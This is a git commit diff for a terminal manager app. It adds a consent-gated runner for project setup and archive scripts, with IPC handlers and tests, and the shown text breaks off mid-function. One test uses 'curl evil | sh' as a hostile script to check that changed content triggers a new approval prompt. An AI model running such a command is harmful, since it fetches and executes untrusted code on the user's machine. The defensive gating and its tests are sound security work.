Skip to content

Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.

feat(project-setup): consent-gated setup service core + IPC handlers

enescd2f2854d715
diff --git a/src/core/project-setup-handlers.ts b/src/core/project-setup-handlers.ts
new file mode 100644
index 000000000..99ad70ab0
--- /dev/null
+++ b/src/core/project-setup-handlers.ts
@@ -0,0 +1,79 @@
+import { IPC } from '../shared/ipc'
+import type { ProjectSetupConsentAnswer, ProjectSetupKind, ProjectSetupRunResult } from '../shared/project-settings'
+import type { CorePlatform } from './platform'
+import type { ProjectSetupTarget } from './project-setup-service'
+
+/**
+ * RPC surface for the setup/archive runner, registered once for every shell (Electron main + Server
+ * Edition) through CorePlatform — the github/board-log handlers pattern.
+ *
+ * v1 keeps `projectSetupSubscribe`/`Unsubscribe` as accepted no-ops: unlike the log ring, a setup
+ * run produces nothing until someone launches one, so there is no idle stream to gate and the
+ * `projectSetupEvent` push is registered unconditionally. The channels exist so the renderer's
+ * lifecycle (and a later ref-counted gate) needs no protocol change.
+ *
+ * Everything crossing this seam is renderer/client input, so the target is shape-checked here
+ * rather than trusted — the service's own gate protects the dangerous half, but a malformed target
+ * must answer a result, not throw an IPC error.
+ */
+export interface ProjectSetupHandlerService {
+ run(target: ProjectSetupTarget, kind: ProjectSetupKind): Promise<ProjectSetupRunResult>
+ cancel(runKey: string): boolean
+ submitConsent(requestId: string, answer: ProjectSetupConsentAnswer): void
+}
+
+const isKind = (v: unknown): v is ProjectSetupKind => v === 'setup' || v === 'archive'
+
+function sanitizeTarget(v: unknown): ProjectSetupTarget | null {
+ if (typeof v !== 'object' || v === null) return null
+ const t = v as Record<string, unknown>
+ if (typeof t.projectId !== 'string' || !t.projectId) return null
+ if (typeof t.projectName !== 'string') return null
+ if (typeof t.rootPath !== 'string' || !t.rootPath) return null
+ const out: ProjectSetupTarget = {
+ projectId: t.projectId,
+ projectName: t.projectName,
+ rootPath: t.rootPath
+ }
+ if (typeof t.worktreePath === 'string' && t.worktreePath) out.worktreePath = t.worktreePath
+ const ssh = t.ssh as Record<string, unknown> | undefined
+ const server = ssh?.server as Record<string, unknown> | undefined
+ if (
+ ssh &&
+ typeof server?.host === 'string' &&
+ typeof server?.user === 'string' &&
+ typeof ssh.remoteCwd === 'string' &&
+ ssh.remoteCwd
+ ) {
+ out.ssh = {
+ server: {
+ host: server.host,
+ user: server.user,
+ ...(typeof server.port === 'number' ? { port: server.port } : {}),
+ ...(typeof server.identityFile === 'string' ? { identityFile: server.identityFile } : {})
+ },
+ remoteCwd: ssh.remoteCwd
+ }
+ }
+ return out
+}
+
+export function registerProjectSetupHandlers(
+ platform: CorePlatform,
+ service: ProjectSetupHandlerService
+): void {
+ platform.handle(IPC.projectSetupRun, async (target: unknown, kind: unknown): Promise<ProjectSetupRunResult> => {
+ const t = sanitizeTarget(target)
+ if (!t || !isKind(kind)) return { status: 'skipped', reason: 'unavailable' }
+ return service.run(t, kind)
+ })
+ platform.handle(IPC.projectSetupCancel, (runKey: unknown) =>
+ typeof runKey === 'string' ? service.cancel(runKey) : false)
+ platform.on(IPC.projectSetupConsentSubmit, (requestId: unknown, answer: unknown) => {
+ if (typeof requestId !== 'string') return
+ if (answer !== 'approve' && answer !== 'skip') return
+ service.submitConsent(requestId, answer)
+ })
+ platform.on(IPC.projectSetupSubscribe, () => {})
+ platform.on(IPC.projectSetupUnsubscribe, () => {})
+}
diff --git a/src/core/project-setup-service.test.ts b/src/core/project-setup-service.test.ts
new file mode 100644
index 000000000..909a15077
--- /dev/null
+++ b/src/core/project-setup-service.test.ts
@@ -0,0 +1,450 @@
+import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest'
+import { promises as fs } from 'fs'
+import os from 'os'
+import path from 'path'
+import { initPlatform, resetPlatformForTests } from './platform'
+import { fakePlatform, type FakePlatform } from './platform-fake'
+import { ProjectTrustStore, localTrustKey, sshTrustKey, hashTrustContent } from './project-trust-store'
+import {
+ projectTrustContent,
+ type ProjectSettingsDoc,
+ type ProjectSettingsFileV1,
+ type ProjectSettingsSnapshot,
+ type ProjectLocalSettings,
+ type ProjectSetupConsentRequest,
+ type ProjectSetupEvent
+} from '../shared/project-settings'
+import { IPC } from '../shared/ipc'
+import {
+ ProjectSetupService,
+ setupRunKey,
+ type ProjectSetupRunner,
+ type ProjectSetupTarget
+} from './project-setup-service'
+import { registerProjectSetupHandlers } from './project-setup-handlers'
+
+let userData: string
+let plat: FakePlatform
+
+beforeEach(async () => {
+ userData = await fs.mkdtemp(path.join(os.tmpdir(), 'nt-setup-svc-'))
+ plat = fakePlatform({ userDataDir: userData })
+ initPlatform(plat)
+})
+afterEach(async () => {
+ vi.useRealTimers()
+ resetPlatformForTests()
+ await fs.rm(userData, { recursive: true, force: true })
+})
+
+const target = (over: Partial<ProjectSetupTarget> = {}): ProjectSetupTarget => ({
+ projectId: 'p1',
+ projectName: 'App',
+ rootPath: '/proj/app',
+ ...over
+})
+
+const sharedFile = (doc: ProjectSettingsDoc): ProjectSettingsFileV1 => ({
+ version: 1,
+ rev: 1,
+ savedAt: '2026-08-19T00:00:00.000Z',
+ ...doc
+})
+
+const snapshot = (
+ shared: ProjectSettingsFileV1 | null,
+ local?: ProjectLocalSettings
+): ProjectSettingsSnapshot => ({ shared, local })
+
+const consentRequests = (): ProjectSetupConsentRequest[] =>
+ plat.sent
+ .filter((s) => s.channel === IPC.projectSetupConsentRequest)
+ .map((s) => s.args[0] as ProjectSetupConsentRequest)
+
+const dismissed = (): string[] =>
+ plat.sent
+ .filter((s) => s.channel === IPC.projectSetupConsentDismiss)
+ .map((s) => (s.args[0] as { requestId: string }).requestId)
+
+const events = (projectId = 'p1'): ProjectSetupEvent[] =>
+ plat.sent
+ .filter((s) => s.channel === IPC.projectSetupEvent(projectId))
+ .map((s) => s.args[0] as ProjectSetupEvent)
+
+interface RunnerRecorder {
+ calls: Array<{ script: string; cwd: string; env: Record<string, string> }>
+ runner: ProjectSetupRunner
+}
+const recorder = (exitCode = 0): RunnerRecorder => {
+ const calls: RunnerRecorder['calls'] = []
+ const runner: ProjectSetupRunner = async ({ script, cwd, env, onChunk }) => {
+ calls.push({ script, cwd, env })
+ onChunk('building\n')
+ return { exitCode }
+ }
+ return { calls, runner }
+}
+
+describe('setupRunKey', () => {
+ it('is a location+kind identity, not a project id', () => {
+ const a = setupRunKey(target({ projectId: 'a' }), 'setup')
+ const b = setupRunKey(target({ projectId: 'b' }), 'setup')
+ expect(a).toBe(b)
+ expect(setupRunKey(target(), 'archive')).not.toBe(a)
+ expect(setupRunKey(target({ rootPath: '/other' }), 'setup')).not.toBe(a)
+ expect(
+ setupRunKey(target({ ssh: { server: { host: 'h', user: 'u' }, remoteCwd: '/proj/app' } }), 'setup')
+ ).not.toBe(a)
+ })
+})
+
+describe('ProjectSetupService — local-sourced scripts', () => {
+ it('runs a local-sourced script without any consent prompt', async () => {
+ const { calls, runner } = recorder()
+ const svc = new ProjectSetupService({
+ trust: new ProjectTrustStore(),
+ readSettings: async () => snapshot(null, { setup: { setupScript: 'echo hi', waitForSetup: true } }),
+ runLocal: runner
+ })
+ const res = await svc.run(target(), 'setup')
+ expect(res).toEqual({ status: 'started', runKey: setupRunKey(target(), 'setup'), waitForSetup: true })
+ expect(consentRequests()).toEqual([])
+
+ await vi.waitFor(() => expect(events().some((e) => e.state === 'done')).toBe(true))
+ expect(calls).toHaveLength(1)
+ expect(calls[0].script).toBe('echo hi')
+ expect(calls[0].cwd).toBe('/proj/app')
+ expect(calls[0].env).toEqual({
+ NODETERM_ROOT_PATH: '/proj/app',
+ NODETERM_WORKTREE_PATH: '/proj/app',
+ NODETERM_PROJECT_NAME: 'App'
+ })
+ const seen = events()
+ expect(seen[0].state).toBe('running')
+ expect(seen.map((e) => e.seq)).toEqual(seen.map((_, i) => i + 1))
+ expect(seen.some((e) => e.chunk === 'building\n')).toBe(true)
+ const done = seen[seen.length - 1]
+ expect(done).toMatchObject({ state: 'done', exitCode: 0, kind: 'setup' })
+ })
+
+ it('spawns in the worktree dir and reports a non-zero exit as failed', async () => {
+ const { calls, runner } = recorder(3)
+ const svc = new ProjectSetupService({
+ trust: new ProjectTrustStore(),
+ readSettings: async () => snapshot(null, { setup: { setupScript: 'false' } }),
+ runLocal: runner
+ })
+ const t = target({ worktreePath: '/proj/app-wt' })
+ expect(await svc.run(t, 'setup')).toMatchObject({ status: 'started', waitForSetup: false })
+ await vi.waitFor(() => expect(events().some((e) => e.state === 'failed')).toBe(true))
+ expect(calls[0].cwd).toBe('/proj/app-wt')
+ expect(calls[0].env.NODETERM_WORKTREE_PATH).toBe('/proj/app-wt')
+ expect(calls[0].env.NODETERM_ROOT_PATH).toBe('/proj/app')
+ expect(events().at(-1)).toMatchObject({ state: 'failed', exitCode: 3 })
+ })
+})
+
+describe('ProjectSetupService — consent gate', () => {
+ it('prompts once for a shared-sourced script; approve records the hash and runs', async () => {
+ const trust = new ProjectTrustStore()
+ const doc: ProjectSettingsDoc = { setup: { setupScript: 'npm ci', archiveScript: 'rm -rf node_modules' } }
+ // The whole family is approved by one answer: setup+archive are hashed together.
+ const hash = hashTrustContent(projectTrustContent('setup', doc)!)
+ const calls: Array<{ script: string }> = []
+ const trustedAtSpawn: boolean[] = []
+ const runner: ProjectSetupRunner = async ({ script }) => {
+ calls.push({ script })
+ // The approval is persisted BEFORE anything runs — never "run first, record after".
+ trustedAtSpawn.push(await trust.isTrusted(localTrustKey('/proj/app'), 'setup', hash))
+ return { exitCode: 0 }
+ }
+ const svc = new ProjectSetupService({
+ trust,
+ readSettings: async () => snapshot(sharedFile(doc)),
+ runLocal: runner
+ })
+ const pending = svc.run(target(), 'setup')
+ await vi.waitFor(() => expect(consentRequests()).toHaveLength(1))
+ const req = consentRequests()[0]
+ expect(req).toMatchObject({ kind: 'setup', projectName: 'App', script: 'npm ci', previouslyApproved: false })
+ expect(req.locationLabel).toContain('/proj/app')
+ expect(calls).toHaveLength(0)
+
+ svc.submitConsent(req.requestId, 'approve')
+ expect(await pending).toMatchObject({ status: 'started' })
+ await vi.waitFor(() => expect(events().some((e) => e.state === 'done')).toBe(true))
+ expect(calls).toHaveLength(1)
+ expect(trustedAtSpawn).toEqual([true])
+ expect(await trust.isTrusted(localTrustKey('/proj/app'), 'setup', hash)).toBe(true)
+
+ // Second run of the same, still-trusted family: no second prompt.
+ expect(await svc.run(target(), 'archive')).toMatchObject({ status: 'started' })
+ await vi.waitFor(() => expect(calls).toHaveLength(2))
+ expect(calls[1].script).toBe('rm -rf node_modules')
+ expect(consentRequests()).toHaveLength(1)
+ })
+
+ it('skip does not run and does not record', async () => {
+ const trust = new ProjectTrustStore()
+ const { calls, runner } = recorder()
+ const svc = new ProjectSetupService({
+ trust,
+ readSettings: async () => snapshot(sharedFile({ setup: { setupScript: 'npm ci' } })),
+ runLocal: runner
+ })
+ const pending = svc.run(target(), 'setup')
+ await vi.waitFor(() => expect(consentRequests()).toHaveLength(1))
+ svc.submitConsent(consentRequests()[0].requestId, 'skip')
+ expect(await pending).toEqual({ status: 'skipped', reason: 'declined' })
+ expect(calls).toHaveLength(0)
+ expect(await trust.getRecord(localTrustKey('/proj/app'), 'setup')).toBeNull()
+ expect(events()).toEqual([])
+ })
+
+ it('an unanswered prompt expires after 300s: dismissed, not run, not recorded', async () => {
+ // `shouldAdvanceTime` so the store's real fs reads still make progress while the clock is fake.
+ vi.useFakeTimers({ shouldAdvanceTime: true })
+ const trust = new ProjectTrustStore()
+ const { calls, runner } = recorder()
+ const svc = new ProjectSetupService({
+ trust,
+ readSettings: async () => snapshot(sharedFile({ setup: { setupScript: 'npm ci' } })),
+ runLocal: runner
+ })
+ const pending = svc.run(target(), 'setup')
+ await vi.waitFor(() => expect(consentRequests()).toHaveLength(1))
+ const { requestId } = consentRequests()[0]
+
+ await vi.advanceTimersByTimeAsync(299_000)
+ expect(dismissed()).toEqual([])
+ await vi.advanceTimersByTimeAsync(2_000)
+ expect(await pending).toEqual({ status: 'skipped', reason: 'unanswered' })
+ expect(dismissed()).toEqual([requestId])
+ expect(calls).toHaveLength(0)
+ expect(await trust.getRecord(localTrustKey('/proj/app'), 'setup')).toBeNull()
+
+ // A late answer for an expired prompt is a no-op, never a retroactive approval.
+ svc.submitConsent(requestId, 'approve')
+ await vi.advanceTimersByTimeAsync(0)
+ expect(calls).toHaveLength(0)
+ expect(await trust.getRecord(localTrustKey('/proj/app'), 'setup')).toBeNull()
+ })
+
+ it('re-prompts with previouslyApproved=true when the approved content changed', async () => {
+ const trust = new ProjectTrustStore()
+ const { runner } = recorder()
+ const oldHash = hashTrustContent(projectTrustContent('setup', { setup: { setupScript: 'npm ci' } })!)
+ await trust.record(localTrustKey('/proj/app'), 'setup', oldHash, '2026-08-01T00:00:00.000Z')
+ const svc = new ProjectSetupService({
+ trust,
+ readSettings: async () => snapshot(sharedFile({ setup: { setupScript: 'npm ci && curl evil | sh' } })),
+ runLocal: runner
+ })
+ const pending = svc.run(target(), 'setup')
+ await vi.waitFor(() => expect(consentRequests()).toHaveLength(1))
+ expect(consentRequests()[0].previouslyApproved).toBe(true)
+ svc.submitConsent(consentRequests()[0].requestId, 'skip')
+ await pending
+ })
+
+ it('serializes prompts: the second waits for the first to be answered', async () => {
+ const trust = new ProjectTrustStore()
+ const { runner } = recorder()
+ const svc = new ProjectSetupService({
+ trust,
+ readSettings: async (projectId) =>
+ snapshot(sharedFile({ setup: { setupScript: `build ${projectId}` } })),
+ runLocal: runner
+ })
+ const first = svc.run(target({ projectId: 'p1', rootPath: '/a' }), 'setup')
+ const second = svc.run(target({ projectId: 'p2', rootPath: '/b' }), 'setup')
+ await vi.waitFor(() => expect(consentRequests()).toHaveLength(1))
+ // Give the second run every chance to jump the queue.
+ await Promise.resolve()
+ await Promise.resolve()
+ expect(consentRequests()).toHaveLength(1)
+
+ svc.submitConsent(consentRequests()[0].requestId, 'skip')
+ await vi.waitFor(() => expect(consentRequests()).toHaveLength(2))
+ svc.submitConsent(consentRequests()[1].requestId, 'skip')
+ expect(await first).toEqual({ status: 'skipped', reason: 'declined' })
+ expect(await second).toEqual({ status: 'skipped', reason: 'declined' })
+ // Both were asked — one after the other, never both at once (the queue order itself is not
+ // part of the contract).
+ expect(consentRequests().map((r) => r.script).sort()).toEqual(['build p1', 'build p2'])
+ })
+
+ it('gates an ssh target on its ssh location key', async () => {
+ const trust = new ProjectTrustStore()
+ const calls: Array<ProjectSetupTarget['ssh']> = []
+ const runSsh: ProjectSetupRunner = async ({ ssh }) => {
+ calls.push(ssh)
+ return { exitCode: 0 }
+ }
+ const ssh = { server: { host: 'h', user: 'u' }, remoteCwd: '/srv/app' }
+ const svc = new ProjectSetupService({
+ trust,
+ readSettings: async () => snapshot(sharedFile({ setup: { setupScript: 'npm ci' } })),
+ runSsh
+ })
+ const pending = svc.run(target({ ssh }), 'setup')
+ await vi.waitFor(() => expect(consentRequests()).toHaveLength(1))
+ expect(consentRequests()[0].locationLabel).toBe('u@h:/srv/app')
+ svc.submitConsent(consentRequests()[0].requestId, 'approve')
+ expect(await pending).toMatchObject({ status: 'started' })
+ await vi.waitFor(() => expect(calls).toHaveLength(1))
+ const hash = hashTrustContent(projectTrustContent('setup', { setup: { setupScript: 'npm ci' } })!)
+ expect(await trust.isTrusted(sshTrustKey(ssh), 'setup', hash)).toBe(true)
+ expect(await trust.isTrusted(localTrustKey('/proj/app'), 'setup', hash)).toBe(false)
+ })
+})
+
+describe('ProjectSetupService — single-flight, cancel and absent scripts', () => {
+ it('a second run for the same target while one is live is busy', async () => {
+ let release: (() => void) | undefined
+ const gate = new Promise<void>((r) => {
+ release = r
+ })
+ let started = 0
+ const runner: ProjectSetupRunner = async () => {
+ started++
+ await gate
+ return { exitCode: 0 }
+ }
+ const svc = new ProjectSetupService({
+ trust: new ProjectTrustStore(),
+ readSettings: async () => snapshot(null, { setup: { setupScript: 'sleep 1' } }),
+ runLocal: runner
+ })
+ expect(await svc.run(target(), 'setup')).toMatchObject({ status: 'started' })
+ await vi.waitFor(() => expect(started).toBe(1))
+ expect(await svc.run(target(), 'setup')).toEqual({ status: 'skipped', reason: 'busy' })
+ expect(started).toBe(1)
+
+ release!()
+ await vi.waitFor(() => expect(events().some((e) => e.state === 'done')).toBe(true))
+ // Freed once it finished.
+ expect(await svc.run(target(), 'setup')).toMatchObject({ status: 'started' })
+ release!()
+ })
+
+ it('cancel aborts a live run and reports cancelled; an unknown runKey is false', async () => {
+ const runner: ProjectSetupRunner = ({ signal }) =>
+ new Promise((resolve) => {
+ signal.addEventListener('abort', () => resolve({ exitCode: 130 }))
+ })
+ const svc = new ProjectSetupService({
+ trust: new ProjectTrustStore(),
+ readSettings: async () => snapshot(null, { setup: { setupScript: 'sleep 100' } }),
+ runLocal: runner
+ })
+ const res = await svc.run(target(), 'setup')
+ expect(res.status).toBe('started')
+ const runKey = (res as { runKey: string }).runKey
+ expect(svc.cancel('nope')).toBe(false)
+ expect(svc.cancel(runKey)).toBe(true)
+ await vi.waitFor(() => expect(events().at(-1)?.state).toBe('cancelled'))
+ })
+
+ it('no script → no-script; ssh target without an ssh runner → unavailable', async () => {
+ const { runner } = recorder()
+ const empty = new ProjectSetupService({
+ trust: new ProjectTrustStore(),
+ readSettings: async () => snapshot(null, {}),
+ runLocal: runner
+ })
+ expect(await empty.run(target(), 'setup')).toEqual({ status: 'skipped', reason: 'no-script' })
+
+ const unknownProject = new ProjectSetupService({
+ trust: new ProjectTrustStore(),
+ readSettings: async () => null,
+ runLocal: runner
+ })
+ expect(await unknownProject.run(target(), 'setup')).toEqual({ status: 'skipped', reason: 'no-script' })
+
+ // A setup script is not an archive script.
+ const setupOnly = new ProjectSetupService({
+ trust: new ProjectTrustStore(),
+ readSettings: async () => snapshot(null, { setup: { setupScript: 'echo hi' } }),
+ runLocal: runner
+ })
+ expect(await setupOnly.run(target(), 'archive')).toEqual({ status: 'skipped', reason: 'no-script' })
+
+ const noSshRunner = new ProjectSetupService({
+ trust: new ProjectTrustStore(),
+ readSettings: async () => snapshot(null, { setup: { setupScript: 'echo hi' } }),
+ runLocal: runner
+ })
+ expect(
+ await noSshRunner.run(target({ ssh: { server: { host: 'h', user: 'u' }, remoteCwd: '/srv/app' } }), 'setup')
+ ).toEqual({ status: 'skipped', reason: 'unavailable' })
+ })
+})
+
+describe('registerProjectSetupHandlers', () => {
+ const stub = () => {
+ const runs: Array<[ProjectSetupTarget, string]> = []
+ const cancels: string[] = []
+ const consents: Array<[string, string]> = []
+ const service = {
+ run: async (t: ProjectSetupTarget, kind: 'setup' | 'archive') => {
+ runs.push([t, kind])
+ return { status: 'started', runKey: 'k', waitForSetup: false } as const
+ },
+ cancel: (runKey: string) => {
+ cancels.push(runKey)
+ return true
+ },
+ submitConsent: (requestId: string, answer: 'approve' | 'skip') => {
+ consents.push([requestId, answer])
+ }
+ }
+ registerProjectSetupHandlers(plat, service)
+ return { runs, cancels, consents }
+ }
+
+ it('registers the whole surface, including the accepted subscribe no-ops', () => {
+ stub()
+ expect(Object.keys(plat.handlers)).toEqual(
+ expect.arrayContaining([IPC.projectSetupRun, IPC.projectSetupCancel])
+ )
+ expect(Object.keys(plat.listeners)).toEqual(
+ expect.arrayContaining([
+ IPC.projectSetupConsentSubmit,
+ IPC.projectSetupSubscribe,
+ IPC.projectSetupUnsubscribe
+ ])
+ )
+ expect(() => plat.listeners[IPC.projectSetupSubscribe]('p1')).not.toThrow()
+ expect(() => plat.listeners[IPC.projectSetupUnsubscribe]('p1')).not.toThrow()
+ })
+
+ it('passes a well-formed target through and answers a malformed one instead of throwing', async () => {
+ const { runs } = stub()
+ const call = plat.handlers[IPC.projectSetupRun]
+ const ssh = { server: { host: 'h', user: 'u', port: 2222 }, remoteCwd: '/srv/app' }
+ expect(await call({ ...target(), worktreePath: '/wt', ssh, bogus: 'x' }, 'archive')).toMatchObject({
+ status: 'started'
+ })
+ expect(runs[0][1]).toBe('archive')
+ expect(runs[0][0]).toEqual({ ...target(), worktreePath: '/wt', ssh })
+
+ for (const bad of [null, {}, { projectId: 'p', projectName: 'n' }, 'nope']) {
+ expect(await call(bad, 'setup')).toEqual({ status: 'skipped', reason: 'unavailable' })
+ }
+ expect(await call(target(), 'launch')).toEqual({ status: 'skipped', reason: 'unavailable' })
+ expect(runs).toHaveLength(1)
+ })
+
+ it('cancel and consent-submit reject junk arguments', async () => {
+ const { cancels, consents } = stub()
+ expect(await plat.handlers[IPC.projectSetupCancel]('k1')).toBe(true)
+ expect(await plat.handlers[IPC.projectSetupCancel](7)).toBe(false)
+ expect(cancels).toEqual(['k1'])
+
+ plat.listeners[IPC.projectSetupConsentSubmit]('r1', 'approve')
+ plat.listeners[IPC.projectSetupConsentSubmit]('r2', 'yes')
+ plat.listeners[IPC.projectSetupConsentSubmit](5, 'approve')
+ expect(consents).toEqual([['r1', 'approve']])
+ })
+})
diff --git a/src/core/project-setup-service.ts b/src/core/project-setup-service.ts
new file mode 100644
index 000000000..07a43d9d5
--- /dev/null
+++ b/src/core/project-setup-service.ts
@@ -0,0 +1,277 @@
+import { randomUUID } from 'node:crypto'
+import os from 'os'
+import path from 'path'
+import { IPC } from '../shared/ipc'
+import {
+ projectTrustContent,
+ resolveProjectSettings,
+ type ProjectSettingsDoc,
+ type ProjectSettingsSnapshot,
+ type ProjectSetupConsentAnswer,
+ type ProjectSetupConsentRequest,
+ type ProjectSetupEvent,
+ type ProjectSetupKind,
+ type ProjectSetupRunResult
+} from '../shared/project-settings'
+import type { SshConnection } from '../shared/ssh'
+import { platform } from './platform'
+import { ProjectTrustStore, hashTrustContent, localTrustKey, sshTrustKey } from './project-trust-store'
+
+/**
+ * Runs a project's `setup`/`archive` script behind the trust gate.
+ *
+ * The load-bearing invariants:
+ * - Only a SHARED-sourced script is gated. A value the user typed into this machine's own local
+ * overlay is their own instruction and runs promptless; a value that arrived through git (or
+ * from a remote host) is hostile input until a human approves it at that location.
+ * - What is approved is the FAMILY, not the one script: the trust content covers setupScript AND
+ * archiveScript (`projectTrustContent('setup', …)`), hashed from the SHARED document alone —
+ * never the merged/effective one, or a local override could launder a shared change past the
+ * hash.
+ * - Trust is keyed by LOCATION (`localTrustKey`/`sshTrustKey`), never by project id: ids come out
+ * of an attacker-controlled `project.json` (hostile-project-json).
+ * - The answer is a trichotomy — approve / skip / nobody-answered. Only `approve` records and
+ * runs; an expired prompt is never a retroactive yes.
+ * - Prompts are serialized app-wide: one dialog at a time, so a workspace opening five projects
+ * cannot stack five modals over each other.
+ *
+ * Spawning itself is injected (`runLocal`/`runSsh`) — this file knows nothing about child_process
+ * or ssh, which is also what makes the gate testable without a shell.
+ */
+
+/** How long an unanswered consent prompt is held before it is dismissed and reported as
+ * `unanswered` — same bound as the ssh passphrase prompt. */
+export const CONSENT_EXPIRY_MS = 300_000
+
+export interface ProjectSetupTarget {
+ projectId: string
+ projectName: string
+ /** Local project root — the trust location, and the spawn cwd when there is no worktree. */
+ rootPath: string
+ /** Set for a worktree run: the worktree dir (else rootPath). */
+ worktreePath?: string
+ ssh?: { server: Pick<SshConnection, 'host' | 'user' | 'port' | 'identityFile'>; remoteCwd: string }
+}
+
+export type ProjectSetupRunner = (opts: {
+ script: string
+ cwd: string
+ env: Record<string, string>
+ onChunk: (text: string) => void
+ signal: AbortSignal
+ ssh?: ProjectSetupTarget['ssh']
+}) => Promise<{ exitCode: number }>
+
+export interface ProjectSetupDeps {
+ trust: ProjectTrustStore
+ /** Reads the project's settings state (shared+local) — injected so both shells reuse WorkspaceStore. */
+ readSettings(projectId: string): Promise<ProjectSettingsSnapshot | null>
+ runLocal?: ProjectSetupRunner
+ runSsh?: ProjectSetupRunner
+ now?: () => number
+}
+
+/** Single-flight identity: one live run per LOCATION per kind. Two canvas nodes pointing at the
+ * same folder are the same run, and a hostile `project.json` cannot buy a second concurrent run
+ * by renaming its project id. */
+export function setupRunKey(target: ProjectSetupTarget, kind: ProjectSetupKind): string {
+ return `${kind}\0${runLocationKey(target)}`
+}
+
+function runLocationKey(target: ProjectSetupTarget): string {
+ return target.ssh
+ ? sshTrustKey({ server: target.ssh.server, remoteCwd: target.ssh.remoteCwd })
+ : localTrustKey(target.worktreePath ?? target.rootPath)
+}
+
+/** The APPROVAL location — the project root, so a per-worktree run inherits the root's approval
+ * (the settings document it executes is the root's, shared by every worktree of that repo). */
+function trustKeyFor(target: ProjectSetupTarget): string {
+ return target.ssh
+ ? sshTrustKey({ server: target.ssh.server, remoteCwd: target.ssh.remoteCwd })
+ : localTrustKey(target.rootPath)
+}
+
+function locationLabel(target: ProjectSetupTarget): string {
+ if (target.ssh) return `${target.ssh.server.user}@${target.ssh.server.host}:${target.ssh.remoteCwd}`
+ const abs = path.resolve(target.rootPath)
+ const home = os.homedir()
+ return home && (abs === home || abs.startsWith(home + path.sep)) ? `~${abs.slice(home.length)}` : abs
+}
+
+interface ActiveRun {
+ runKey: string
+ projectId: string
+ kind: ProjectSetupKind
+ abort: AbortController
+ seq: number
+ closed: boolean
+}
+
+export class ProjectSetupService {
+ private readonly active = new Map<string, ActiveRun>()
+ private readonly pending = new Map<string, (answer: ProjectSetupConsentAnswer | undefined) => void>()
+ /** App-wide prompt queue: each ask chains onto the previous one, so only one dialog is live. */
+ private consentQueue: Promise<unknown> = Promise.resolve()
+
+ constructor(private readonly deps: ProjectSetupDeps) {}
+
+ async run(target: ProjectSetupTarget, kind: ProjectSetupKind): Promise<ProjectSetupRunResult> {
+ const snap = await this.deps.readSettings(target.projectId)
+ const resolved = resolveProjectSettings(snap?.local, snap?.shared ?? undefined)
+ const picked = kind === 'setup' ? resolved.setup.setupScript : resolved.setup.archiveScript
+ const script = picked?.value ?? ''
+ if (!script.trim()) return { status: 'skipped', reason: 'no-script' }
+
+ const runKey = setupRunKey(target, kind)
+ if (this.active.has(runKey)) return { status: 'skipped', reason: 'busy' }
+ const runner = target.ssh ? this.deps.runSsh : this.deps.runLocal
+ if (!runner) return { status: 'skipped', reason: 'unavailable' }
+
+ // Claimed BEFORE the consent await on purpose: while a dialog for this location is open, a
+ // second launch must be `busy`, not a second dialog asking about the same script.
+ const entry: ActiveRun = { runKey, projectId: target.projectId, kind, abort: new AbortController(), seq: 0, closed: false }
+ this.active.set(runKey, entry)
+ const abandon = (reason: 'declined' | 'unanswered' | 'unavailable' | 'no-script'): ProjectSetupRunResult => {
+ this.active.delete(runKey)
+ return { status: 'skipped', reason }
+ }
+
+ if (picked!.source === 'shared') {
+ const sharedDoc: ProjectSettingsDoc = snap?.shared ?? {}
+ const content = projectTrustContent('setup', sharedDoc)
+ // Unreachable by construction (a 'shared' source means the shared doc carries this script);
+ // fail closed rather than run something no hash covers.
+ if (content === null) return abandon('no-script')
+ const hash = hashTrustContent(content)
+ const key = trustKeyFor(target)
+ let trusted: boolean
+ try {
+ trusted = await this.deps.trust.isTrusted(key, 'setup', hash)
+ } catch {
+ return abandon('unavailable')
+ }
+ if (!trusted) {
+ const answer = await this.askConsent(key, {
+ kind,
+ projectName: target.projectName,
+ locationLabel: locationLabel(target),
+ script
+ })
+ if (answer !== 'approve') return abandon(answer === 'skip' ? 'declined' : 'unanswered')
+ try {
+ await this.deps.trust.record(key, 'setup', hash, new Date(this.now()).toISOString())
+ } catch {
+ // The approval could not be persisted, so it is not an approval — fail closed rather
+ // than run on a grant that exists only in memory.
+ return abandon('unavailable')
+ }
+ }
+ }
+
+ void this.execute(entry, runner, script, target)
+ return { status: 'started', runKey, waitForSetup: resolved.setup.waitForSetup?.value === true }
+ }
+
+ /** Aborts a live run. `false` = nothing by that runKey is running (already finished, or never was). */
+ cancel(runKey: string): boolean {
+ const entry = this.active.get(runKey)
+ if (!entry) return false
+ entry.abort.abort()
+ return true
+ }
+
+ /** Renderer answer for a pending consent prompt. An unknown/stale requestId (expired, double
+ * submit) and an unrecognized answer are silent no-ops — never an approval. */
+ submitConsent(requestId: string, answer: ProjectSetupConsentAnswer): void {
+ if (answer !== 'approve' && answer !== 'skip') return
+ this.pending.get(requestId)?.(answer)
+ }
+
+ private now(): number {
+ return this.deps.now ? this.deps.now() : Date.now()
+ }
+
+ private askConsent(
+ trustKey: string,
+ req: Omit<ProjectSetupConsentRequest, 'requestId' | 'previouslyApproved'>
+ ): Promise<ProjectSetupConsentAnswer | undefined> {
+ const step = this.consentQueue.then(async () => {
+ // Read at PROMPT time, not at enqueue time: an earlier prompt in the queue may have just
+ // recorded an approval for this same location. Dialog copy only — the grant was the
+ // `isTrusted` hash comparison, which already said no.
+ const previouslyApproved = !!(await this.deps.trust.getRecord(trustKey, 'setup'))
+ return new Promise<ProjectSetupConsentAnswer | undefined>((resolve) => {
+ const requestId = randomUUID()
+ const timer = setTimeout(() => {
+ this.pending.delete(requestId)
+ platform().broadcast(IPC.projectSetupConsentDismiss, { requestId })
+ resolve(undefined) // expired, NOT declined
+ }, CONSENT_EXPIRY_MS)
+ timer.unref?.()
+ this.pending.set(requestId, (answer) => {
+ clearTimeout(timer)
+ this.pending.delete(requestId)
+ resolve(answer)
+ })
+ const payload: ProjectSetupConsentRequest = { ...req, requestId, previouslyApproved }
+ platform().broadcast(IPC.projectSetupConsentRequest, payload)
+ })
+ })
+ // A rejected step must not poison the queue for every later prompt.
+ this.consentQueue = step.catch(() => {})
+ return step
+ }
+
+ private async execute(
+ entry: ActiveRun,
+ runner: ProjectSetupRunner,
+ script: string,
+ target: ProjectSetupTarget
+ ): Promise<void> {
+ // For an ssh run every path the script sees is the REMOTE one — a local Mac path in these env
+ // vars would name a directory that does not exist on the host.
+ const cwd = target.ssh ? target.ssh.remoteCwd : target.worktreePath ?? target.rootPath
